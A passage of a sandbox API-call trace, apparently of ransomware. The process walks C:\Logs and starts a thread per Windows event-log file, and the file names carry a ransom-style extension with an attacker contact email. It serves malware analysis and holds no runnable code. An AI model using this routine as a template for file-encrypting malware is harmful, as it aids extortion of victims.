cAlternateFileName="MICD5F~1.D0E")) returned 1 [0163.834] wcscmp (_String1="Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.834] wcscmp (_String1="Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.834] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb4) returned 0x2f987d8 [0163.834] wcscpy (in: _Dest=0x2f987d8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.834] wcscat (in: _Dest=0x2f987d8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.834] wcscat (in: _Dest=0x2f987d8, _Source="Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.mailto[kokoklock@cock.li].d0e731" [0163.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f987d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0163.835] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f3b22bc, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIE3B7~1.D0E")) returned 1 [0163.835] wcscmp (_String1="Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.835] wcscmp (_String1="Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.835] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa8) returned 0x2f6ec30 [0163.835] wcscpy (in: _Dest=0x2f6ec30, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.835] wcscat (in: _Dest=0x2f6ec30, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.835] wcscat (in: _Dest=0x2f6ec30, _Source="Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-LiveId%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ec30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474 [0163.836] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x80082c17, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI3A00~1.D0E")) returned 1 [0163.836] wcscmp (_String1="Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.836] wcscmp (_String1="Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.836] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2f99638 [0163.836] wcscpy (in: _Dest=0x2f99638, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.836] wcscat (in: _Dest=0x2f99638, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.836] wcscat (in: _Dest=0x2f99638, _Source="Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0163.836] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478 [0163.837] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f3fe839, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI725E~1.D0E")) returned 1 [0163.837] wcscmp (_String1="Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.837] wcscmp (_String1="Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.837] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f6de70 [0163.837] wcscpy (in: _Dest=0x2f6de70, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.837] wcscat (in: _Dest=0x2f6de70, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.837] wcscat (in: _Dest=0x2f6de70, _Source="Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c [0163.838] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f4970f4, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIE7EE~1.D0E")) returned 1 [0163.838] wcscmp (_String1="Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.838] wcscmp (_String1="Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.838] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6f050 [0163.838] wcscpy (in: _Dest=0x2f6f050, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.838] wcscat (in: _Dest=0x2f6f050, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.838] wcscat (in: _Dest=0x2f6f050, _Source="Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6f050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480 [0163.839] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f4bd20c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI275E~1.D0E")) returned 1 [0163.839] wcscmp (_String1="Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0163.839] wcscmp (_String1="Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0163.839] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f99318 [0163.839] wcscpy (in: _Dest=0x2f99318, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0163.839] wcscat (in: _Dest=0x2f99318, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0163.839] wcscat (in: _Dest=0x2f99318, _Source="Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0163.839] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f99318, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0 [0165.075] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f50975f, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI0DDF~1.D0E")) returned 1 [0165.075] wcscmp (_String1="Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.075] wcscmp (_String1="Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.075] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa4) returned 0x2f6e970 [0165.075] wcscpy (in: _Dest=0x2f6e970, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.075] wcscat (in: _Dest=0x2f6e970, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.075] wcscat (in: _Dest=0x2f6e970, _Source="Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0165.703] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f557b67, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI62FF~1.D0E")) returned 1 [0165.703] wcscmp (_String1="Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.703] wcscmp (_String1="Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2f9c020 [0165.704] wcscpy (in: _Dest=0x2f9c020, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.704] wcscat (in: _Dest=0x2f9c020, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.704] wcscat (in: _Dest=0x2f9c020, _Source="Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.mailto[kokoklock@cock.li].d0e731" [0165.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f9c020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x658 [0165.704] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f57bdc1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI310B~1.D0E")) returned 1 [0165.704] wcscmp (_String1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.704] wcscmp (_String1="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.704] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4580 [0165.704] wcscpy (in: _Dest=0x2fc4580, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.705] wcscat (in: _Dest=0x2fc4580, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.705] wcscat (in: _Dest=0x2fc4580, _Source="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.mailto[kokoklock@cock.li].d0e731" [0165.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fc4580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x65c [0165.705] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f5a1fe7, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI08F9~1.D0E")) returned 1 [0165.705] wcscmp (_String1="Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.705] wcscmp (_String1="Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.705] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83f20 [0165.705] wcscpy (in: _Dest=0x2f83f20, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.705] wcscat (in: _Dest=0x2f83f20, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.705] wcscat (in: _Dest=0x2f83f20, _Source="Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f83f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x660 [0165.706] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd125335f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd125335f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f5ee514, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI4CEF~1.D0E")) returned 1 [0165.706] wcscmp (_String1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.706] wcscmp (_String1="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.706] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd4) returned 0x2f97678 [0165.706] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.706] wcscat (in: _Dest=0x2f97678, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.706] wcscat (in: _Dest=0x2f97678, _Source="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f97678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664 [0165.707] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8084b2ee, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x101100, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI1B6C~1.D0E")) returned 1 [0165.707] wcscmp (_String1="Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.707] wcscmp (_String1="Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.707] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa6) returned 0x2f6e6b0 [0165.707] wcscpy (in: _Dest=0x2f6e6b0, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.707] wcscat (in: _Dest=0x2f6e6b0, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.707] wcscat (in: _Dest=0x2f6e6b0, _Source="Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" [0165.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6e6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668 [0165.708] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f686e7c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI4E82~1.D0E")) returned 1 [0165.708] wcscmp (_String1="Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.708] wcscmp (_String1="Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.708] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f98658 [0165.708] wcscpy (in: _Dest=0x2f98658, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.708] wcscat (in: _Dest=0x2f98658, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.708] wcscat (in: _Dest=0x2f98658, _Source="Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0165.709] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f6ad16e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MI6B79~1.D0E")) returned 1 [0165.709] wcscmp (_String1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.709] wcscmp (_String1="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.709] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb2) returned 0x2f98ad8 [0165.709] wcscpy (in: _Dest=0x2f98ad8, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.709] wcscat (in: _Dest=0x2f98ad8, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.709] wcscat (in: _Dest=0x2f98ad8, _Source="Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.mailto[kokoklock@cock.li].d0e731" [0165.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98ad8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670 [0165.710] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x2f93fb8 | out: lpFindFileData=0x2f93fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3852b12, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd3852b12, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x7f6f9536, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x110c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="MIBF9B~1.D0E")) returned 1 [0165.710] wcscmp (_String1="Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.710] wcscmp (_String1="Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.710] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f84200 [0165.710] wcscpy (in: _Dest=0x2f84200, _Source="C:\\Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs" [0165.710] wcscat (in: _Dest=0x2f84200, _Source="\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0165.710] wcscat (in: _Dest=0x2f84200, _Source="Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0165.710] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f84200, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0165.711] FindNextFileW (in: 